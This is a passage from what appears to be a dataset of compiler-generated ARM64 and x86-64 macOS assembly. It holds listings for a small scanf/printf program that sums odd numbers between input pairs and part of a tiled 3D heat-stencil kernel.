add x8, x8, x10, lsl #3
ldr w8, [x8, #4]
ldursw x10, [x29, #-16]
lsl x10, x10, #3
ldr w9, [x9, x10]
subs w8, w8, w9
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_24
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-64] ; 8-byte Folded Reload
stur wzr, [x29, #-40]
ldursw x9, [x29, #-16]
add x8, x8, x9, lsl #3
ldr w8, [x8, #4]
subs w8, w8, #1
stur w8, [x29, #-32]
b LBB0_18
LBB0_18: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldur w8, [x29, #-32]
ldursw x10, [x29, #-16]
lsl x10, x10, #3
ldr w9, [x9, x10]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_23
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=2
ldur w8, [x29, #-32]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_18 Depth=2
ldur w8, [x29, #-32]
ldur w9, [x29, #-40]
add w8, w8, w9
stur w8, [x29, #-40]
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_18 Depth=2
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_18 Depth=2
ldur w8, [x29, #-32]
subs w8, w8, #1
stur w8, [x29, #-32]
b LBB0_18
LBB0_23: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-40]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add sp, sp, #16
b LBB0_25
LBB0_24: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_1 Depth=1
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_1 Depth=1
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_1
LBB0_28:
stur wzr, [x29, #-12]
ldur x8, [x29, #-48]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-76] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29:
bl ___stack_chk_fail
LBB0_30:
ldur w0, [x29, #-76] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d\n"
l_.str.2: ; @.str.2
.asciz "0\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -24(%rbp), %rsi
callq _scanf
movl -24(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -72(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -48(%rbp)
shlq $3, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -72(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -64(%rbp) ## 8-byte Spill
movq %rax, -56(%rbp)
movl $0, -16(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_9 Depth 2
## Child Loop BB0_18 Depth 2
movl -16(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_28
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -20(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $2, -20(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movq -64(%rbp), %rsi ## 8-byte Reload
movslq -16(%rbp), %rax
shlq $3, %rax
addq %rax, %rsi
movslq -20(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rcx ## 8-byte Reload
movslq -16(%rbp), %rax
movl (%rcx,%rax,8), %eax
movslq -16(%rbp), %rdx
cmpl 4(%rcx,%rdx,8), %eax
jle LBB0_15
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rcx ## 8-byte Reload
movslq -16(%rbp), %rax
movl (%rcx,%rax,8), %eax
movslq -16(%rbp), %rdx
subl 4(%rcx,%rdx,8), %eax
cmpl $1, %eax
je LBB0_15
## %bb.8: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rax ## 8-byte Reload
movl $0, -28(%rbp)
movslq -16(%rbp), %rcx
movl 4(%rax,%rcx,8), %eax
addl $1, %eax
movl %eax, -36(%rbp)
LBB0_9: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -64(%rbp), %rcx ## 8-byte Reload
movl -36(%rbp), %eax
movslq -16(%rbp), %rdx
cmpl (%rcx,%rdx,8), %eax
jge LBB0_14
## %bb.10: ## in Loop: Header=BB0_9 Depth=2
movl -36(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
je LBB0_12
## %bb.11: ## in Loop: Header=BB0_9 Depth=2
movl -28(%rbp), %eax
addl -36(%rbp), %eax
movl %eax, -28(%rbp)
LBB0_12: ## in Loop: Header=BB0_9 Depth=2
jmp LBB0_13
LBB0_13: ## in Loop: Header=BB0_9 Depth=2
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_9
LBB0_14: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_26
LBB0_15: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rcx ## 8-byte Reload
movslq -16(%rbp), %rax
movl (%rcx,%rax,8), %eax
movslq -16(%rbp), %rdx
cmpl 4(%rcx,%rdx,8), %eax
jge LBB0_24
## %bb.16: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rcx ## 8-byte Reload
movslq -16(%rbp), %rax
movl 4(%rcx,%rax,8), %eax
movslq -16(%rbp), %rdx
subl (%rcx,%rdx,8), %eax
cmpl $1, %eax
je LBB0_24
## %bb.17: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rax ## 8-byte Reload
movl $0, -40(%rbp)
movslq -16(%rbp), %rcx
movl 4(%rax,%rcx,8), %eax
subl $1, %eax
movl %eax, -32(%rbp)
LBB0_18: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -64(%rbp), %rcx ## 8-byte Reload
movl -32(%rbp), %eax
movslq -16(%rbp), %rdx
cmpl (%rcx,%rdx,8), %eax
jle LBB0_23
## %bb.19: ## in Loop: Header=BB0_18 Depth=2
movl -32(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
je LBB0_21
## %bb.20: ## in Loop: Header=BB0_18 Depth=2
movl -32(%rbp), %eax
addl -40(%rbp), %eax
movl %eax, -40(%rbp)
LBB0_21: ## in Loop: Header=BB0_18 Depth=2
jmp LBB0_22
LBB0_22: ## in Loop: Header=BB0_18 Depth=2
movl -32(%rbp), %eax
addl $-1, %eax
movl %eax, -32(%rbp)
jmp LBB0_18
LBB0_23: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_25
LBB0_24: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_25: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_26
LBB0_26: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_27
LBB0_27: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_28:
movl $0, -12(%rbp)
movq -48(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -76(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_30
## %bb.29:
movl -76(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB0_30:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d\n"
L_.str.2: ## @.str.2
.asciz "0\n"
.subsections_via_symbols
| the_stack_data/6388140.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _kernel_heat_3d ; -- Begin function kernel_heat_3d
.p2align 2
_kernel_heat_3d: ; @kernel_heat_3d
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
str w0, [sp, #140]
str w1, [sp, #136]
str x2, [sp, #128]
str x3, [sp, #120]
ldr w9, [sp, #136]
mov w8, #3
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_72
b LBB0_1
LBB0_1:
mov w8, #1
str w8, [sp, #92]
b LBB0_2
LBB0_2: ; =>This Loop Header: Depth=1
; Child Loop BB0_4 Depth 2
; Child Loop BB0_6 Depth 3
; Child Loop BB0_11 Depth 4
; Child Loop BB0_13 Depth 5
; Child Loop BB0_18 Depth 6
; Child Loop BB0_20 Depth 7
; Child Loop BB0_37 Depth 2
; Child Loop BB0_39 Depth 3
; Child Loop BB0_44 Depth 4
; Child Loop BB0_46 Depth 5
; Child Loop BB0_51 Depth 6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #92]
subs w8, w8, #500
cset w8, gt
tbnz w8, #0, LBB0_71
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_2 Depth=1
mov w8, #1
str w8, [sp, #96]
b LBB0_4
LBB0_4: ; Parent Loop BB0_2 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_6 Depth 3
; Child Loop BB0_11 Depth 4
; Child Loop BB0_13 Depth 5
; Child Loop BB0_18 Depth 6
; Child Loop BB0_20 Depth 7
ldr w8, [sp, #96]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_36
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=2
ldr w8, [sp, #96]
str w8, [sp, #100]
b LBB0_6
LBB0_6: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_4 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_11 Depth 4
; Child Loop BB0_13 Depth 5
; Child Loop BB0_18 Depth 6
; Child Loop BB0_20 Depth 7
ldr w8, [sp, #100]
str w8, [sp, #88] ; 4-byte Folded Spill
ldr w8, [sp, #136]
subs w8, w8, #2
ldr w9, [sp, #96]
add w9, w9, #15
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_6 Depth=3
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #84] ; 4-byte Folded Spill
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_6 Depth=3
ldr w8, [sp, #96]
add w8, w8, #15
str w8, [sp, #84] ; 4-byte Folded Spill
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_6 Depth=3
ldr w8, [sp, #88] ; 4-byte Folded Reload
ldr w9, [sp, #84] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_34
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_6 Depth=3
mov w8, #1
str w8, [sp, #104]
b LBB0_11
LBB0_11: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_4 Depth=2
; Parent Loop BB0_6 Depth=3
; => This Loop Header: Depth=4
; Child Loop BB0_13 Depth 5
; Child Loop BB0_18 Depth 6
; Child Loop BB0_20 Depth 7
ldr w8, [sp, #104]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_32
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=4
ldr w8, [sp, #104]
str w8, [sp, #108]
b LBB0_13
LBB0_13: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_4 Depth=2
; Parent Loop BB0_6 Depth=3
; Parent Loop BB0_11 Depth=4
; => This Loop Header: Depth=5
; Child Loop BB0_18 Depth 6
; Child Loop BB0_20 Depth 7
ldr w8, [sp, #108]
str w8, [sp, #80] ; 4-byte Folded Spill
ldr w8, [sp, #136]
subs w8, w8, #2
ldr w9, [sp, #104]
add w9, w9, #15
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_13 Depth=5
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #76] ; 4-byte Folded Spill
b LBB0_16
LBB0_15: ; in Loop: Header=BB0_13 Depth=5
ldr w8, [sp, #104]
add w8, w8, #15
str w8, [sp, #76] ; 4-byte Folded Spill
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_13 Depth=5
ldr w8, [sp, #80] ; 4-byte Folded Reload
ldr w9, [sp, #76] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_30
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_13 Depth=5
mov w8, #1
str w8, [sp, #112]
b LBB0_18
LBB0_18: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_4 Depth=2
; Parent Loop BB0_6 Depth=3
; Parent Loop BB0_11 Depth=4
; Parent Loop BB0_13 Depth=5
; => This Loop Header: Depth=6
; Child Loop BB0_20 Depth 7
ldr w8, [sp, #112]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_28
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=6
ldr w8, [sp, #112]
str w8, [sp, #116]
b LBB0_20
LBB0_20: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_4 Depth=2
; Parent Loop BB0_6 Depth=3
; Parent Loop BB0_11 Depth=4
; Parent Loop BB0_13 Depth=5
; Parent Loop BB0_18 Depth=6
; => This Inner Loop Header: Depth=7
ldr w8, [sp, #116]
str w8, [sp, #72] ; 4-byte Folded Spill
ldr w8, [sp, #112]
add w8, w8, #63
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_20 Depth=7
ldr w8, [sp, #112]
add w8, w8, #63
str w8, [sp, #68] ; 4-byte Folded Spill
b LBB0_23
LBB0_22: ; in Loop: Header=BB0_20 Depth=7
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #68] ; 4-byte Folded Spill
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_20 Depth=7
ldr w8, [sp, #72] ; 4-byte Folded Reload
ldr w9, [sp, #68] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_26
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_20 Depth=7
ldr x10, [sp, #128]
ldr w8, [sp, #100]
add w8, w8, #1
mov x11, #49664
movk x11, #1, lsl #16
str x11, [sp, #48] ; 8-byte Folded Spill
mov w9, #49664
movk w9, #1, lsl #16
smaddl x8, w8, w9, x10
ldrsw x9, [sp, #108]
mov x10, #960
str x10, [sp, #56] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d2, [x8, x9, lsl #3]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d0, [x8, x9, lsl #3]
fmov d1, #-2.00000000
fmadd d0, d1, d0, d2
ldr x12, [sp, #128]
ldr w8, [sp, #100]
subs w8, w8, #1
mov w9, #49664
movk w9, #1, lsl #16
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d2, [x8, x9, lsl #3]
fadd d2, d0, d2
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x12, x8, x9
ldr w8, [sp, #108]
add w8, w8, #1
mov w9, #960
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d0, [x8, x9, lsl #3]
fmadd d0, d1, d0, d3
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x12, x8, x9
ldr w8, [sp, #108]
subs w8, w8, #1
mov w9, #960
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
fadd d3, d0, d3
fmov d0, #0.12500000
fmul d3, d0, d3
fmadd d2, d0, d2, d3
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldr w9, [sp, #116]
add w9, w9, #1
ldr d4, [x8, w9, sxtw #3]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
fmadd d1, d1, d3, d4
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldr w9, [sp, #116]
subs w9, w9, #1
ldr d3, [x8, w9, sxtw #3]
fadd d1, d1, d3
fmadd d0, d0, d1, d2
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d1, [x8, x9, lsl #3]
fadd d0, d0, d1
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
str d0, [x8, x9, lsl #3]
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_20 Depth=7
ldr w8, [sp, #116]
add w8, w8, #1
str w8, [sp, #116]
b LBB0_20
LBB0_26: ; in Loop: Header=BB0_18 Depth=6
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_18 Depth=6
ldr w8, [sp, #112]
add w8, w8, #64
str w8, [sp, #112]
b LBB0_18
LBB0_28: ; in Loop: Header=BB0_13 Depth=5
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_13 Depth=5
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB0_13
LBB0_30: ; in Loop: Header=BB0_11 Depth=4
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_11 Depth=4
ldr w8, [sp, #104]
add w8, w8, #16
str w8, [sp, #104]
b LBB0_11
LBB0_32: ; in Loop: Header=BB0_6 Depth=3
b LBB0_33
LBB0_33: ; in Loop: Header=BB0_6 Depth=3
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB0_6
LBB0_34: ; in Loop: Header=BB0_4 Depth=2
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_4 Depth=2
ldr w8, [sp, #96]
add w8, w8, #16
str w8, [sp, #96]
b LBB0_4
LBB0_36: ; in Loop: Header=BB0_2 Depth=1
mov w8, #1
str w8, [sp, #96]
b LBB0_37
LBB0_37: ; Parent Loop BB0_2 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_39 Depth 3
; Child Loop BB0_44 Depth 4
; Child Loop BB0_46 Depth 5
; Child Loop BB0_51 Depth 6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #96]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_69
b LBB0_38
LBB0_38: ; in Loop: Header=BB0_37 Depth=2
ldr w8, [sp, #96]
str w8, [sp, #100]
b LBB0_39
LBB0_39: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_37 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_44 Depth 4
; Child Loop BB0_46 Depth 5
; Child Loop BB0_51 Depth 6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #100]
str w8, [sp, #44] ; 4-byte Folded Spill
ldr w8, [sp, #136]
subs w8, w8, #2
ldr w9, [sp, #96]
add w9, w9, #15
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_41
b LBB0_40
LBB0_40: ; in Loop: Header=BB0_39 Depth=3
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #40] ; 4-byte Folded Spill
b LBB0_42
LBB0_41: ; in Loop: Header=BB0_39 Depth=3
ldr w8, [sp, #96]
add w8, w8, #15
str w8, [sp, #40] ; 4-byte Folded Spill
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_39 Depth=3
ldr w8, [sp, #44] ; 4-byte Folded Reload
ldr w9, [sp, #40] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_67
b LBB0_43
LBB0_43: ; in Loop: Header=BB0_39 Depth=3
mov w8, #1
str w8, [sp, #104]
b LBB0_44
LBB0_44: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_37 Depth=2
; Parent Loop BB0_39 Depth=3
; => This Loop Header: Depth=4
; Child Loop BB0_46 Depth 5
; Child Loop BB0_51 Depth 6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #104]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_65
b LBB0_45
LBB0_45: ; in Loop: Header=BB0_44 Depth=4
ldr w8, [sp, #104]
str w8, [sp, #108]
b LBB0_46
LBB0_46: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_37 Depth=2
; Parent Loop BB0_39 Depth=3
; Parent Loop BB0_44 Depth=4
; => This Loop Header: Depth=5
; Child Loop BB0_51 Depth 6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #108]
str w8, [sp, #36] ; 4-byte Folded Spill
ldr w8, [sp, #136]
subs w8, w8, #2
ldr w9, [sp, #104]
add w9, w9, #15
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_48
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_46 Depth=5
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #32] ; 4-byte Folded Spill
b LBB0_49
LBB0_48: ; in Loop: Header=BB0_46 Depth=5
ldr w8, [sp, #104]
add w8, w8, #15
str w8, [sp, #32] ; 4-byte Folded Spill
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_46 Depth=5
ldr w8, [sp, #36] ; 4-byte Folded Reload
ldr w9, [sp, #32] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_63
b LBB0_50
LBB0_50: ; in Loop: Header=BB0_46 Depth=5
mov w8, #1
str w8, [sp, #112]
b LBB0_51
LBB0_51: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_37 Depth=2
; Parent Loop BB0_39 Depth=3
; Parent Loop BB0_44 Depth=4
; Parent Loop BB0_46 Depth=5
; => This Loop Header: Depth=6
; Child Loop BB0_53 Depth 7
ldr w8, [sp, #112]
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_61
b LBB0_52
LBB0_52: ; in Loop: Header=BB0_51 Depth=6
ldr w8, [sp, #112]
str w8, [sp, #116]
b LBB0_53
LBB0_53: ; Parent Loop BB0_2 Depth=1
; Parent Loop BB0_37 Depth=2
; Parent Loop BB0_39 Depth=3
; Parent Loop BB0_44 Depth=4
; Parent Loop BB0_46 Depth=5
; Parent Loop BB0_51 Depth=6
; => This Inner Loop Header: Depth=7
ldr w8, [sp, #116]
str w8, [sp, #28] ; 4-byte Folded Spill
ldr w8, [sp, #112]
add w8, w8, #63
ldr w9, [sp, #136]
subs w9, w9, #2
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_55
b LBB0_54
LBB0_54: ; in Loop: Header=BB0_53 Depth=7
ldr w8, [sp, #112]
add w8, w8, #63
str w8, [sp, #24] ; 4-byte Folded Spill
b LBB0_56
LBB0_55: ; in Loop: Header=BB0_53 Depth=7
ldr w8, [sp, #136]
subs w8, w8, #2
str w8, [sp, #24] ; 4-byte Folded Spill
b LBB0_56
LBB0_56: ; in Loop: Header=BB0_53 Depth=7
ldr w8, [sp, #28] ; 4-byte Folded Reload
ldr w9, [sp, #24] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_59
b LBB0_57
LBB0_57: ; in Loop: Header=BB0_53 Depth=7
ldr x10, [sp, #120]
ldr w8, [sp, #100]
add w8, w8, #1
mov x11, #49664
movk x11, #1, lsl #16
str x11, [sp, #8] ; 8-byte Folded Spill
mov w9, #49664
movk w9, #1, lsl #16
smaddl x8, w8, w9, x10
ldrsw x9, [sp, #108]
mov x10, #960
str x10, [sp, #16] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d2, [x8, x9, lsl #3]
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d0, [x8, x9, lsl #3]
fmov d1, #-2.00000000
fmadd d0, d1, d0, d2
ldr x12, [sp, #120]
ldr w8, [sp, #100]
subs w8, w8, #1
mov w9, #49664
movk w9, #1, lsl #16
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d2, [x8, x9, lsl #3]
fadd d2, d0, d2
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x12, x8, x9
ldr w8, [sp, #108]
add w8, w8, #1
mov w9, #960
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d0, [x8, x9, lsl #3]
fmadd d0, d1, d0, d3
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x12, x8, x9
ldr w8, [sp, #108]
subs w8, w8, #1
mov w9, #960
smaddl x8, w8, w9, x12
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
fadd d3, d0, d3
fmov d0, #0.12500000
fmul d3, d0, d3
fmadd d2, d0, d2, d3
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldr w9, [sp, #116]
add w9, w9, #1
ldr d4, [x8, w9, sxtw #3]
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d3, [x8, x9, lsl #3]
fmadd d1, d1, d3, d4
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldr w9, [sp, #116]
subs w9, w9, #1
ldr d3, [x8, w9, sxtw #3]
fadd d1, d1, d3
fmadd d0, d0, d1, d2
ldr x8, [sp, #120]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
ldr d1, [x8, x9, lsl #3]
fadd d0, d0, d1
